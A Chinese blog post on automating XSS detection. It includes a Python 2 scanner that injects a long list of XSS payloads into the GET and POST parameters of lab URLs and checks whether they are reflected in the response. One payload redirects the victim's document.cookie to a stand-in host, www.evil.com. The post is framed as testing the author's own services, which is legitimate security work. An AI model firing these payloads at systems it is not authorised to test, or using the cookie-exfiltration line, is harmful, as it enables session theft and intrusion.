關于自動化xss漏洞盲打

0x01 原因


只要你面試安全開發,妥妥的問的問題就是一些常規的漏洞檢測技術,其中xss算是一類吧,而且絕對問的。每次都會有人問這個問題,我也沒次都需要一個個解答。剛好想總結下自己的工作,so,把這塊的一些東西弄出來分享下。

0x02 技術


XSS的類型在這我就不展開來講,主要講關于自動化測試的這塊。

  • v1.0 傳統的測試方式比較簡單,就是http請求測試,直接請求url,post的直接將參數拼接,構造payload,然后請求就ok了。這個版本沒啥可說的,基本上大家都知道。
  • v2.0 的版本是基于ajax的請求,將頁面完全加載完后,模擬操作執行。這個比較有意思,之前在wooyun上,小伙伴就經常問針對ajax應該怎么做。在360的面試里面,當時那個負責人提供的方法是基于webkit做調用,但是測試的結果是,有一定的概率會卡住。so,這個我默認放棄。而我選擇用的方式,是基于無瀏覽器的方式來進行。相對來說比較好,在centos的服務器上,我掛了一個,然后無差別的去測試自己的業務,結果挺理想的。(分享一個案例代碼,根據自己的需要,融合到自己的掃描器就好)

0x03 coding


#coding:utf-8
 
import random , requests , copy ,urlparse, urllib , pprint
 
_random=str(random.randint(300,182222))
 
# XSS規則
XSS_Rule = {
    "script":[
            "<script>alert("+_random+");</script>",
            "<script>alert('XSS');</script>",
            "<script>location.href=\"http://www.evil.com/cookie.php?cookie=\"+escape(document.cookie)</script>",
            "<scr<script>ipt>alert("+_random+");</scr</script>ipt>",
            "<script>alert(String.fromCharCode(88,83,83))</script>",
            "\"><script>alert("+_random+")</script>",
            "</title><script>alert(/"+_random+"/)</script>",
            "</textarea><script>alert(/"+_random+"/)</script>",
            "<? echo('<scr');echo('ipt>alert(\""+_random+"\")</script');?>",
            "<marquee><script>alert('"+_random+"')</script></marquee>",
            "<script language=\"JavaScript\">alert('"+_random+"')</script>",
            "\"><script alert(String.fromCharCode(88,83,83))</script>",
            "\'\">><script>alert('"+_random+"')</script>",
            "<script>var var="+_random+";alert(var)</script>", 
            "<?='<SCRIPT>alert(\""+_random+"\")</SCRIPT>'?>",
            "<scrscriptipt>alert("+_random+")</scrscriptipt>",
            "</script><script>alert("+_random+")</script>",
            "'\"></title><script>alert("+_random+")</script>",
            "</textarea>\'\"><script>alert(document.cookie)</script>",
            "'\"\"><script language=\"JavaScript\">alert('XS');</script>",
            "</script></script><<<<script><>>>><<<script>alert("+_random+")</script>",
            "<html><noalert><noscript>alert("+_random+")</script>",
            "}</style><script>a=eval;a=eval;b=alert;a(b(/"+_random+"/.source));</script>",
            "<SCRIPT>document.write(\""+_random+"\");</SCRIPT>",
            "='><script>alert(\""+_random+"\")</script>",
            "<body background=javascript:'\"><script>alert(navigator.userAgent)</script></body>",
            ">\"><script>alert(/"+_random+"/)</script>",
            "\"></title><script>alert("+_random+")</script>",
            "</div><script>alert("+_random+")</script>",
            "\"></iframe><script>alert("+_random+")</script>",
            "'></select><script>alert("+_random+")</script>",
    ],
    "img":
    [
            "<img src=foo.png onerror=alert(/"+_random+"/) />",
            "<IMG SRC=\"jav&#x09;ascript:alert('"+_random+"');\">",
            "<IMG SRC=\"jav&#x0A;ascript:alert('"+_random+"');\">",
            "<IMG SRC=\"jav&#x0D;ascript:alert('"+_random+"');\">",
            "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
            "<IMG LOWSRC=\"javascript:alert('"+_random+"')\">",
            "<IMG DYNSRC=\"javascript:alert('"+_random+"')\">",
            "<img src=\"javascript:alert('"+_random+"')\">",
            "<IMG SRC='vbscript:msgbox(\""+_random+"\")'>",
            "\"<marquee><img src=k.png onerror=alert(/"+_random+"/) />",
            "\"<marquee><img src=k onerror=alert(/"+_random+"/) />",
            "'\"><marquee><img src=k.png onerror=alert(/"+_random+"/.source) />",
            "<img src=\"javascript:alert(\""+_random+"\")\">",
            ">\"><img src=\"javascript:alert('"+_random+"')\">",
            "\"/></a></><img src=1.gif onerror=alert("+_random+")>",
            "window.alert(\""+_random+"\");",
    ],
    "iframe":
    [
        "<iframe<?php echo chr(11)?>onload=alert('"+_random+"')></iframe>",
        "\"><iframe src='javascript:alert(document.cookie)'></iframe>",
    ],
    "marquee":
    [
        "'>><marquee><h1>"+_random+"</h1></marquee>",
        "\'\">><marquee><h1>"+_random+"</h1></marquee>",
    ],
    "attr-style":
    [
        "<font style='color:expression(alert(document.cookie))'>",
        "<div style=\"x:expression((windows.r==1)?\":eval('r=1;alert(String.fromCharCode(88,83,83));'))\">",
        "<div style=\"background:url('javascript:alert("+_random+")')\">",
        "\" style=\"background:url(javascript:alert(/"+_random+"/))\"",
        "</br style=a:expression(alert())>",
    ],
    "event":
    [
        "<body onunload=\"javascript:alert('"+_random+"');\">",
        "<body onLoad=\"alert('"+_random+"');\">",
        "\" onfous=alert(document.domain)\"><\"",
        "\"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\""+_random+"\")>",
        "<body onLoad=\"while(true) alert('"+_random+"');\">",
        "<SELECT NAME=\"\" onmouseover=alert("+_random+")></select>",
        "'\"></title><font color=red onmouseover=javascript:alert(1337)>"+_random+"</font>",
    ],
    "meta":
    [
        "<META HTTP-EQUIV='refresh' CONTENT='0;url=javascript:alert(/"+_random+"/');\">",
        "<META HTTP-EQUIV='refresh' CONTENT='0;URL=http://;URL=javascript:alert(/"+_random+"/);'>",
    ],
    "base":
    [
        "<BASE HREF=\"javascript:alert('"+_random+"');//\">",
    ],
    "frameset":
    [
        "<FRAMESET><FRAME SRC=\"javascript:alert('"+_random+"');\"></FRAMESET>", 
    ],
    "other":
    [
        "[url=javascript:alert('"+_random+"');]click me[/url]",
        "[color=red' onmouseover=\"alert('"+_random+"')\"]mouse over[/color]",
        "[color=red width=expression(alert("+_random+"))][color]",
    ]
}
 
# 鏈接拼接(針對get)
def _init_get_url(url_group,rules,check_group):
    for _url_item in url_group:
        url_node = urlparse.urlparse(_url_item)
        uquery = url_node.query
        url_parse = _url_item.replace('?'+uquery, '')
        query_dict = dict(urlparse.parse_qsl(uquery))
 
        for rule_item in rules.keys():
            for _rule in rules[rule_item]:
                for parameter_item in query_dict.keys():
                    tmp_dict = copy.deepcopy(query_dict)
                    tmp_dict[parameter_item] = _rule
                    tmp_qs = urllib.unquote(urllib.urlencode(tmp_dict)).replace('+','%20')
                    check_group.append({'action':url_parse+"?"+tmp_qs,'input':None,'method':'get','regex':_rule})
 
# 請求拼接(post)
def _init_from_url(url_dict,rules,check_group):
    # 遍歷所有的請求
    for url_dict_item in url_dict:
        # 遍歷所有的規則
        for rule_group in rules.keys():
            input_dict = {}
            for rule_item in rules[rule_group]:
                for input_item in url_dict_item['input']:
                    input_dict.update({input_item:rule_item})
                check_group.append({'action':url_dict_item['action'],'input':input_dict,'method':url_dict_item['method'],'regex':rule_item})
                input_dict = {}
 
# 直接請求
def request_do(url,_data,_regex):
    TIMEOUT=5
    _bool = False
    try:
        if _data is not None:
            req = requests.post(url,data=_data,timeout=TIMEOUT)
        else:
            req = requests.get(url,timeout=TIMEOUT)
        req_result = ''.join(req.content.split('\n'))
        if req_result.find(_regex) != -1:
            _bool = True
    except Exception, e:
        return _bool
    return _bool
 
# 測試規則
def xss_check(check_group):
    for target in check_group:
        if target['method'].lower() =='get':
            if request_do(target['action'],None,target['regex']):
                print "[*][GET] Find XSS: %s" % target['action']
        elif target['method'].lower() == 'post':
            if request_do(target['action'],target['input'],target['regex']):
                print "[*][POST] Find XSS: %s,Parameter: (%s)" % (target['action'],str(target['input']))
 
# 拼接請求
def opurl():
    check_group = []
    _init_get_url(['http://10.211.55.7/search/search.php?lang=cn'],XSS_Rule,check_group)
    _init_from_url([{'action':'http://10.211.55.7/b.php','input':['bfname','blname'],'method':'post'}],XSS_Rule,check_group)
    xss_check(check_group)
 
 
 
if __name__ == '__main__':
    opurl()
    # run("http://10.211.55.7/b.php",['bfname','blname'])
    # run("http://10.211.55.7/search/search.php?key=dede&x=24&y=11&lang=cn")
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 229,117評論 6 537
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,860評論 3 423
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 177,128評論 0 381
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,291評論 1 315
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,025評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,421評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,477評論 3 444
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,642評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,177評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,970評論 3 356
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,157評論 1 371
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,717評論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,410評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,821評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,053評論 1 289
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,896評論 3 395
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,157評論 2 375

推薦閱讀更多精彩內容

  • 本博客轉自:「作者:若愚鏈接:https://zhuanlan.zhihu.com/p/22361337來源:知乎...
    韓寶億閱讀 2,778評論 0 3
  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,682評論 25 708
  • 之前積累了XSS 有一段時間,因為目前開始了一件有趣的工程,需要整合非常多的知識,其中Web 安全這一塊出現最多的...
    刀背藏身閱讀 9,121評論 0 16
  • 標題:Mood Indigo 芳心之歌 原文地址:http://archiveofourown.org/works...
    111避難所閱讀 398評論 0 0
  • 雨后的薄荷,散發著的氣息 如此沁人心脾 我是那么在乎那個竹籃,它是個好東西 可以裝滿薄荷 可以打一籃空水 也可以裝...
    一言爾閱讀 157評論 0 0